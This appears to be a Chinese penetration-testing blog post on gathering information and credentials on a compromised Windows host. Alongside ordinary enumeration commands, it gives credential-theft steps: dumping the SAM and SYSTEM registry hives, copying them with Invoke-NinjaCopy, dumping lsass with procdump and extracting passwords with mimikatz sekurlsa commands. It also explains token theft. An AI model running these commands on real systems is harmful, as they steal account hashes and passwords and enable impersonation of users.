windows下的信息收集

信息收集类型


可以收集的信息包括但不限于:

  • 操作系统版本、内核、架构
  • 是否在虚拟化环境中,已安装的程序、补丁
  • 网络配置及连接
  • 防火墙设置
  • 用户信息、历史记录(浏览器、登陆密码)
  • 共享信息、敏感文件、缓存信息、服务等

 

系统信息

常用命令:

systeminfo

功能:显示有关计算机及其操作系统的详细配置信息,包括操作系统配置,安全信息,产品ID和硬件属性(如RAM,磁盘空间和网卡)

systeminfo /fo:csv

输出为csv格式,默认为list格式显示有关计算机及其操作系统的详细配置信息,包括操作系统配置,安全信息,产品ID和硬件属性(如RAM,磁盘空间和网卡)

用户及用户组信息

whoami

显示当前登录到本地系统的用户的用户,组和权限信息。如果没有参数使用,whoami将显示当前的域和用户名

whoami /user    查看当前用户的用户名和sid
whoami /groups    查看当前用户所属的用户组
whoami /priv   查看当前用户的权限

net user

添加或修改用户帐户或显示用户帐户信息。

net user 查看本机用户
net user“admin"查看admin用户的详细信息

有的时候管理员会删除system32下的net.exe,这时候可以尝试一下net1.exe(net有点权限他都有而且功能要比net多)。

net localgroup

添加,显示或修改本地组

net localgroup“administrators"查看administrators组的信息及成员

net accounts

更新用户帐户数据库并修改所有帐户的密码和登录要求。可以用来查看密码策略等信息

 

最近登录信息

query user
  • 查看其它在线用户
  • 查看管理员登录时间
  • 查看管理员登录类型

 

网络信息

ipconfig

显示所有当前TCP/IP网络配置值并刷新动态主机配置协议(DHCP)和域名系统(DNS)设置。在不带参数的情况下使用,ipconfig显示所有适配器的IP地址,子网掩码和默认网关。

ipconfig

ipconfig/all

ipconfig/displaydns 显示DNS客户端解析程序缓存的内容,其中包括从本地主机文件预加载的条目和计算机解析的名称查询的任何最近获取的资源记录。

route

显示并修改本地IP路由表中的条目

route print -4    查看ipv4路由信息

arp

显示和修改地址解析协议(ARP)缓存中的条目,该缓存包含一个或多个用于存储IP地址及其解析的以太网或令牌环物理地址的表。

arp -a    显示arp缓存

netstat

显示活动的TCP连接,计算机侦听的端口,以太网统计信息,IP路由表,IPv4统计信息以及IPv6统计信息。

netstat -ano    显示活动的tcp、udp连接及它们对应的pid,地址与端口用数字表示
netstat -p tcp    显示tcp连接

net share

管理共享资源。在不带参数的情况下使用,net share显示关于在本地计算机上共享的所有资源的信息

net share   查看共享信息
net share c$   查看c$共享的信息

net use

将计算机连接到共享资源或将计算机与共享资源断开连接,或显示有关计算机连接的信息。该命令还控制持久的网络连接。没有参数的情况下,net use检索一个网络连接列表

 

敏感文件

密码管理器:

cmdkey /l

 

Host文件

  • Hosts文件全名域名解析文件,用来建立一个主机名到ip地址的映射。它的功能是对dns做一个补充,用户可以通过控制这个文件的内容来控制某些域名的解析。
  • 一般来说,客户端解析域名,首先会查看dns缓存,如果没有的话,查询hosts文件中的记录,如果还是没有,再去向远程dns服务器查询。通过分析hosts文件,我们可以找到一些主机信息。
  • Windows下hosts文件的位置:C:\Windows\System32\drivers\etc\hosts

回收站

  • 回收站里可能会有一些有用的文件。
  • 我们可以通过以下命令进入回收站文件夹:cd C:\$RECYCLE.BIN
  • 这个文件夹及子文件夹是隐藏文件夹,如果我们直接使用dir命令而不加参数的话,是看不到文件夹中有什么的内容的。我们可以使用/ah参数(a显示具有指定属性的文件,h代表隐藏文件)来查看:dir /ah

这些文件夹以sid命名,如果我们要查看某一用户的回收站,就需要进入以他的sid命名的文件夹。
查看当前用户sid的命令是whoami/user,获取到sid后进入相应的文件夹

$I开头文件保存了路径信息,$R开头的文件则是文件本身。
Type不同的文件,我们可以看到,$I开头的文件大概是这样的:
?楷事 C:\Users\z[老Desktop\README.txt
$R开头的文件则是下面这样,是这个文件本身的内容:
FOCA,Final version.December 2015

凭证收集

收集本机凭据是信息收集的一个非常重要的环节。通常我们可以收集的凭据包括但不限于:Windows hash(NTLM、LM),浏览器密码、cookie,远程桌面密码,VPN密码,WLAN密码,IIS服务器密码,FTP服务器密码等等。

 

Windows账户密码

  • Windows用户的密码加密后一般有两种形式:NTLM Hash和LM Hash(从windows Vista和2008开始,微软就取消了LMHash)
  • 这些hash通常有两个存储的地方:对于本地用户,存储在SAM数据库中,对于域用户,则存储在域控制器的NTDS.dit数据库中。当用户登陆时,这些hash也可能贮存在内存中,能够被我们抓取到。

Windows Hash

test:1003:E52CAC67419A9A22664345140A852F6167A54E1C9058FCA16498061B96863248:::

绿色部分是LM Hash红色部分是NTLM Hash

LM_HASH==AAD3B435B51404EEAAD3B435B51404EE:

空密码或者未使用LM_HASH

SAM

 

  • SAM全称叫做安全帐户管理器(SAM),是Windows XP,Windows Vista,Windows 7,8.1和10中存储用户密码数据库文件。
  • 用户密码以散列格式存储在注册表配置单元中,既可以作为LM Hash,也可以作为NTLM Hash。这个文件可以在%SystemRoot%/system32/config/SAM中找到,并且挂载在HKLM/SAM上。
  • 为了提高SAM数据库的安全性,防止脱机软件破解,Microsoft在Windows NT4.0中引入了SYSKEY函数。启用SYSKEY时,SAM文件的磁盘上副本将被部分加密,以便存储在SAM中的所有本地帐户的密码哈希值都使用密钥(通常也称为“SYSKEY”)加密。

UAC

  • 使用windows vista及以上操作系统的人都是接触过UAC的。举个例子:当我们右键某个可执行文件,选择以管理员身份运行,就会弹出一个对话框,依据当前用户权限的不同,可能是要求我们输入管理员凭据,也可能是询问我们是否允许该程序进行更改。这其实就是UAC。
  • UAC设计的目的就是通过合理地分配权限来保护数据和系统资源的安全。
  • UAC的一个作用就是帮助用户在不切换帐户的情况下既能选择在管理员权限下工作,又能选择在非管理员权限下工作。一般来说,用户以非管理员权限执行操作,只有在必要的时候,通过uac来暂时地提升权限。

 

离线凭证收集

提取SAM数据库hash

(1)使用reg命令保存注册表键

reg save hklm\sam c:\sam.hive 
reg save hklm\system c:\system.hive

(2)使用Invoke-NinjaCopy

powershell -exec bypass

Import-Module .\invoke-ninjacopy.ps1

Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive

Invoke-NinjaCopy -Path   C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive

Saminside

使用Saminside离线提取sam数据库需要两个文件:sam与system

Cain

使用cain离线提取sam数据库需要两个文件:一个是数据库文件,另一个文件里保存了解密所需的syskey

离线提取lsass进程

Vista及以上的系统可以打开任务管理器,选择显示所有用户的进程,找到1sass进程后右键创建转储文件

procdump.exe

procdump.exe -ma lsass.exe lsass.dmp

取到内存转储文件后,就可以使用mimikatz来提取密码。这里需要注意的是运行mimikatz平台架构要与进行转储的系统兼容。命令如下:

sekurlsa::minidump lsass.dmp 

sekurlsa::logonpasswords

mimikatz

  • Mimikatz项目地址:https://github.com/gentilkiwi/mimikatz
  • 功能:抓取lsass进程中的密码,提取sam数据库中的密码,提取chrome凭据,提取证书,支持pass-the-hash、pass-the-ticket等攻击方式,功能非常强大

Powershell版Mimikatz

 

Windows访问令牌

 

windows登录过程

令牌(Access Tokens)是Windows操作系统安全性的一个概念。当用户登时,系统创建一个访问令牌,里面包含登录进程返回的SID由本地安全策略配给用户和用户的安全组的特权列表。以该用户身份运行的的所有进程都拥有该令牌的一个拷贝。系统使用令牌控制用户可以访问哪些安全对象,并控制用户执行相关系统操作的能力。

访问令牌

  • 1.用户账户的安全标识(SID)
  • 2.用户所属组的SID
  • 3.识别当前登录会话的登录SID
  • 4.用户或者用户组所保存的权限列表
  • 5.所有者SID
  • 6.主组SID
  • 7.默认的DACL( 自主访问控制列表)
  • 8.访问令牌的来源
  • 9.令牌是一个主令牌还是模拟令牌
  • 10.限制的SID可选列表
  • 11.当前模拟级别
  • 12.其他统计

安全标识符(SID)

S - 21-3073775604-629373004-2559016625 1001

S - SID版本号 - 颁发机构ID - 域或本地ID - 账户和组ID

 

Token


Windows有两种类型的Token:

  • Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
  • Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
  • 两种token只在系统重启后清除
  • 具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

 

令牌窃取

 

  • Token是一个用户的身份标识,窃取了Token就伪装了成了该用户
  • 窃取Token需要SYSTEM权限

本机的SYSTEM无所不能,但在工作组或者域环境中窃取令牌的用处较大

 

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值